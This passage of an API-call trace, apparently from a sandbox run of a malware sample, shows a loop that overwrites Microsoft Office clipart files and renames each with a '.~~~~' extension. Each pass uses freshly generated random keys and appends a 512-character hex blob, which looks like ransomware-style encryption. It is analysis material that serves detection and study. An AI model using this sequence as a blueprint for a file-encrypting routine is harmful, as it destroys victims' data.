	[0088.941] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0088.941] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0088.941] CloseHandle (hObject=0x12c) returned 1
	[0088.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0088.942] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif.~~~~")) returned 1
	[0088.942] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.942] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0088.942] GetLastError () returned 0x0
	[0088.943] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394970) returned 1
	[0088.944] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0088.944] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0088.944] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0088.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0088.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0088.944] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20893413274) returned 1
	[0088.944] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9ed0b4f0, dwHighDateTime=0x1d60e1e)) 
	[0088.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0088.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0088.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0088.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e5508
	[0088.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0088.944] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e5508 | out: hHeap=0x300000) returned 1
	[0088.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0088.944] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0088.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0088.945] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0088.945] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7558
	[0088.945] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.945] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0088.945] GetLastError () returned 0x0
	[0088.945] GetLastError () returned 0x0
	[0088.945] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0088.945] GetLastError () returned 0x0
	[0088.945] GetLastError () returned 0x0
	[0089.021] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xfffff082, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.024] WriteFile (in: hFile=0x12c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0xf7e, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0xf7e, lpOverlapped=0x0) returned 1
	[0089.027] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0089.027] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.043] WriteFile (in: hFile=0x12c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.044] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.044] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.051] CloseHandle (hObject=0x12c) returned 1
	[0089.051] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.051] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif.~~~~")) returned 1
	[0089.060] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.060] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0089.060] GetLastError () returned 0x0
	[0089.060] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394970) returned 1
	[0089.115] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.115] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.115] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.115] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0089.115] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0089.115] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20911160380) returned 1
	[0089.128] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9ee62150, dwHighDateTime=0x1d60e1e)) 
	[0089.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0089.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0089.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0089.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b2a58
	[0089.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0089.128] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2a58 | out: hHeap=0x300000) returned 1
	[0089.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.131] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0089.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.131] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37ba40
	[0089.131] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.131] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0089.131] GetLastError () returned 0x0
	[0089.132] GetLastError () returned 0x0
	[0089.132] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0089.132] GetLastError () returned 0x0
	[0089.132] GetLastError () returned 0x0
	[0089.134] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffffe934, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.134] WriteFile (in: hFile=0x12c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x16cc, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x16cc, lpOverlapped=0x0) returned 1
	[0089.134] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0089.134] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.134] WriteFile (in: hFile=0x12c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.135] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.135] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.135] CloseHandle (hObject=0x12c) returned 1
	[0089.135] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28ab018
	[0089.135] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf.~~~~")) returned 1
	[0089.136] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ab018 | out: hHeap=0x300000) returned 1
	[0089.136] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0089.136] GetLastError () returned 0x0
	[0089.137] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394970) returned 1
	[0089.138] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0089.138] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.138] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0089.138] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0089.138] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0089.138] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20912863135) returned 1
	[0089.139] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9ee882b0, dwHighDateTime=0x1d60e1e)) 
	[0089.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0089.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0089.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0089.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b29e8
	[0089.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0089.139] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b29e8 | out: hHeap=0x300000) returned 1
	[0089.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.139] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0089.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a90c0
	[0089.139] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37b7e0
	[0089.139] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a90c0 | out: hHeap=0x300000) returned 1
	[0089.139] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0089.139] GetLastError () returned 0x0
	[0089.140] GetLastError () returned 0x0
	[0089.140] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0089.140] GetLastError () returned 0x0
	[0089.140] GetLastError () returned 0x0
	[0089.142] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xfffff7c4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.142] WriteFile (in: hFile=0x12c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x83c, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x83c, lpOverlapped=0x0) returned 1
	[0089.142] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0089.142] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.143] WriteFile (in: hFile=0x12c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.143] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.143] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.143] CloseHandle (hObject=0x12c) returned 1
	[0089.143] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.143] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf.~~~~")) returned 1
	[0089.144] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.144] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0089.144] GetLastError () returned 0x0
	[0089.144] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394970) returned 1
	[0089.145] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0089.145] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.145] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0089.145] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0089.145] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0089.145] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20913526926) returned 1
	[0089.145] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9ee882b0, dwHighDateTime=0x1d60e1e)) 
	[0089.145] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0089.145] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0089.145] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0089.145] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b29b0
	[0089.145] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0089.145] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b29b0 | out: hHeap=0x300000) returned 1
	[0089.145] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.146] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0089.146] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.146] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.146] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37bb70
	[0089.146] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.146] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0089.146] GetLastError () returned 0x0
	[0089.146] GetLastError () returned 0x0
	[0089.146] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0089.146] GetLastError () returned 0x0
	[0089.146] GetLastError () returned 0x0
	[0089.149] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffffdbe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.149] WriteFile (in: hFile=0x12c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x2418, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x2418, lpOverlapped=0x0) returned 1
	[0089.149] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0089.149] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.149] WriteFile (in: hFile=0x12c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.149] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.149] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.150] CloseHandle (hObject=0x12c) returned 1
	[0089.150] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.150] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf.~~~~")) returned 1
	[0089.150] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.150] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0089.150] GetLastError () returned 0x0
	[0089.151] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394970) returned 1
	[0089.152] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0089.152] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.152] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0089.152] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0089.152] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0089.152] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20914219443) returned 1
	[0089.152] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9eeae410, dwHighDateTime=0x1d60e1e)) 
	[0089.152] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0089.152] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0089.152] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0089.152] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b2978
	[0089.152] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0089.152] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2978 | out: hHeap=0x300000) returned 1
	[0089.152] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.153] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0089.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.153] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37bc08
	[0089.153] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.153] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0089.153] GetLastError () returned 0x0
	[0089.153] GetLastError () returned 0x0
	[0089.153] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0089.153] GetLastError () returned 0x0
	[0089.153] GetLastError () returned 0x0
	[0089.155] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xfffff6d8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.155] WriteFile (in: hFile=0x12c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x928, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x928, lpOverlapped=0x0) returned 1
	[0089.156] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
